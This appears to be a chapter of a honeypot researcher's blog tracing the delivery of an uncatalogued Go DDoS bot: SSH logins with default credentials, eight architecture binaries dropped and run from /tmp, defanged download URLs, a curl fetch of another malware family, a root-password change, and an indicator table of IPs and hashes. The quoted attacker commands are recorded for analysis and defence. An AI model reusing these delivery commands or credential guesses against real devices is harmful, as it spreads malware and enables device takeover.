ES EN
Index

Legea · Chapter 31

One door, three visitors

Forty megabytes of binary that won't open: the decompiler takes one look and refuses. Before forcing that door, the boring part that has to come first - who brought them here.

In the small hours, the decoy gets a visitor in a hurry. It comes in over SSH with root/root, the cheapest credential there is, opens a file transfer session and starts pushing binaries. Not one: eight, one for each kind of processor. Five minutes later all eight are inside, and then comes the line that sums the whole thing up:

what it types the moment the eight are up
cd /tmp; chmod +x *; ./x86 & ./x64 & ./armv7l & ./arm64 & ./armv5 & ./mips & ./mips64 & ./mipsle &
sleep 5; rm -rf *

It fires all of them at once, waits five seconds and wipes the directory. It has no interest in knowing which machine it landed on: it shoots all eight and whichever one starts, stays. The decoy answers Exec format error to nearly every one, since they're built for other architectures, and only one fits. That's the point of multi-architecture delivery: uploading eight files is cheaper than asking a question.

And they're launched with no arguments at all, which already tells you something before you open anything: the configuration lives inside, including who it phones. What I'm after today isn't what's inside, though. That's the next chapter. Today it's where this came from, because the server that brought it has a story of its own.

SPECIMEN · x64 (one of the eight)

Legea Go DDoS bot, uncatalogued

◈ LIVE · DO NOT RUN
sha256 (x64)
0475f283…67318c74
Type
static ELF, stripped, written in Go 1.24
Size
33 to 40 MB depending on architecture (~23.6 MB of code alone)
Architectures
eight uploaded: x86, x64, armv5, armv7l, arm64, mips, mips64, mipsle
Where the name comes from
a word in its own code · chapter 32

01It comes back three times, and each time it's worse

What happens next is what gives away that nobody is watching. It returns three more times the same day. Mid-morning it comes in again, now with root/password and with admin/default, and all it does is run uname -a, as if it had no idea it had already been here. Around midday it tries the upload again and gets cut off halfway. A minute later it repeats the whole batch, all eight binaries, from scratch.

It's automated and stubborn: it retries with no memory of the last attempt, tries different credentials on a door that had already let it in, and starts the delivery over when it breaks. Coming back four times doesn't prove there's anyone on the other end deciding to return, mind you: a badly written loop does exactly this.

And there's one detail I enjoyed, because it costs nothing: its SSH client announces itself as SSH-2.0-Go. That points to the delivery tool being written in Go as well, same as what it delivers, though a banner can be set to say anything and on its own it proves nothing.

02The second counter: over HTTP, one per architecture

That small-hours SFTP session isn't its only counter. The same server serves the binaries over HTTP, sitting in its web root, one per architecture, pulled down with wget. That part is on the record from the outside, in a public repository of malicious URLs, so you don't have to take my word for it: there are nine addresses listed.

the HTTP counter (broken up so it isn't clickable)
hxxp://130.12.180[.]32/x86      hxxp://130.12.180[.]32/mips
hxxp://130.12.180[.]32/x64      hxxp://130.12.180[.]32/mips64
hxxp://130.12.180[.]32/armv5    hxxp://130.12.180[.]32/mipsle
hxxp://130.12.180[.]32/armv7l   hxxp://130.12.180[.]32/arm64
hxxp://130.12.180[.]32/armv5l   ← the ninth: down, and never captured

Nine, and I have eight. The missing one is armv5l, already down by the time I went looking: a ninth variant that never reached the decoy.

Two delivery routes means there's a loader out there somewhere doing wget against the IP and asking for its own architecture. The SFTP session is delivery by hand; the HTTP root is what the rest of the chain uses.

03That IP had been here before. And it brought something else.

Before getting into the binary I did the boring check, the one I always do: is this address new around here? It wasn't. The same IP had passed through the decoy nine days earlier, and that visit looks nothing like this one.

That day it came in, ran its uname -a to look around and, a while later, came back for what it wanted: a curl against its own port 33441 to pull down four binaries called lgtv*, roughly 4.8 MB each. Nothing to do with today's: different family, different size, different port, different delivery method. And then, on its way out:

nine days earlier: another delivery, and a door slammed
# looking around
uname -a

# pulls down ANOTHER family, from its own port 33441
curl -O hxxp://130.12.180[.]32:33441/lgtv{arm64,x64,armv7,…}
# → 4 binaries, ~4.8 MB each. I have them. No relation to today's.

# and before leaving:
passwd          ← changes the victim's root password

That closing passwd is the classic move of someone who wants the machine for themselves: once inside, change the root password and shut the very door you came through, so the next scanner along with root/root finds it locked. None of that shows up in the visit with the eight Go binaries.

And there's more, this time without looking at my own logs: that same server advertises, in that same web root alongside today's nine files, a Monero miner and a loader for Sora, which is another branch of Mirai. Four different build chains, four different command models.

There's an economic logic pushing the same way, too. Every delivery IP burns out: it lands on blocklists and in reputation databases, and every day that passes it works a little worse. Pushing four families through one box burns one address instead of four, and spreading that cost across several customers is precisely the business of whoever rents out the door. Keeping those four build chains and those four command models running at once, on the other hand, is a lot of work for a single owner.

Where I stop Three unrelated sets in nine days through the same door: that describes a delivery node serving several customers, not one author's server. And sharing a courier doesn't make the parcels related, so I'm not attributing this bot to anyone: not to the other families coming through here, and not to any known one either.

The detail that settles it comes from the box itself. Its SSH host key, the fingerprint a server identifies itself with, is shared by around 722 other addresses across several providers. That isn't a server built for the job: it's a cloned VPS image, an off-the-shelf box rented like all the others. The operator didn't build anything; he paid for a month.

04It wasn't coming for us (and it arrived already burned)

To work out whether this was a targeted visit or background noise, the useful question is how many other people are complaining about that IP. On the day it hit us: 3,185 reports in a public abuse database, from 1,398 distinct reporters. Nine days earlier, when it brought the other family, it was 1,009. It also shows up in 49 threat feeds, almost all of them from decoy networks around the world.

That isn't an attacker who picked us: it's a hose pointed at the whole internet, and we were in the path. A device search engine has seen that SSH open since late September, and no domain has ever pointed at that address: the operator works off a bare IP, with no name in between. Which, incidentally, leaves very little trail to follow forwards.

05First contact: the binary lies about itself

With the delivery understood, on to the file. And first contact is odd in two ways.

First, the size: 33 to 40 MB, nearly all of it code. For an IoT bot, which normally comes in under a megabyte, that's enormous; it's what happens when you compile in Go and carry the whole language inside the file. Second, the usual reflex: pull the hashes and look them up. They're there: all eight, uploaded to a public malware repository the day before they landed here, by someone else's account. But with no family name attached, not from a single engine. One of them flatly calls it a legitimate file. So the hash wasn't going to save me any work.

I open it in the decompiler and get the door in my face:

the decompiler refuses to go in
Ghidra:  invalid Go version
         and it aborts the analysis

Invalid Go version. A binary that genuinely is Go, that starts and runs on a real machine, but that on being opened says something about itself which doesn't hold up. Someone has been at what this file claims to be.

06Indicators

These are the delivery ones. The bot's own, its command server, its domains and what it leaves on disk, are in the next chapter, which is where they turn up.

TypeValue
Delivery server130.12.180.32 (Virtualine Technologies / Omegatech, DE). Comes in over SSH with root/root, root/password, admin/default; uploads over SFTP and also serves over HTTP
HTTP deliveryhxxp://130.12.180[.]32/{x86, x64, armv5, armv5l, armv7l, arm64, mips, mips64, mipsle} · 9 addresses, 8 live
Delivery toolingSSH client SSH-2.0-Go · HASSH f64043bfb57b94caaffcf99ca8a5eb0f
Server fingerprint (weak)SSH host key 32:23:22:68:cd:1f:6a:50:c0:ed:15:c5:68:cc:96:a5 · shared by ~722 IPs (cloned VPS image, identifies no one)
Sibling IPs130.12.180.78 · 130.12.180.122
Other families through the same doorlgtv{arm64,x64,armv7,…} on port 33441 (nine days earlier) · hxxp://130.12.180[.]32/xmrig (miner) · hxxp://130.12.180[.]32/sora.sh (Sora loader). Not this family: they're the evidence that the node delivers for several
Behaviour on the victimeight binaries uploaded to /tmp, chmod +x *, all launched at once with no arguments, sleep 5; rm -rf *. On the visit nine days earlier: passwd, to lock the door behind itself
Samples · sha256 (one per architecture)
x860cc42472a07cf14668e899b73adafe666d02495bf9349715613c8e7ba57244ea
x640475f2831e60ac0b229f346036e339d20ad1d1165b005a89b634dc7c67318c74
armv5e59547abdff8019da736bcb8c252cbf5ce96b9695775031b10da334867b59b62
armv7l9d0891f849ccc8c0eff4ea961702087eeeceeb00cff94a7cb0542839be3421f5
arm64536a376337fed899e58a86baca1fc584d570be8e708b6c302cc6f24626dfcfd7
mips8c21db937a85cf7ed804501cdfee7d1c543aa9a56d4d1187951b8f8048af1c10
mips64f5cf1b8ee8ddced3fb5e081dc1543669c3b62767c45da63002032da87632839d
mipsled570a1702448fac805fe39e9a49fd1ca24e4505161eec68cf6e7f5e2b6a34ce0

To be continued - eight 40 MB files that won't let themselves be opened, and a server that rents its door to whoever comes along. Next time I take the mask off the binary: three lying bytes, and more underneath than I expected. 🍯

Comments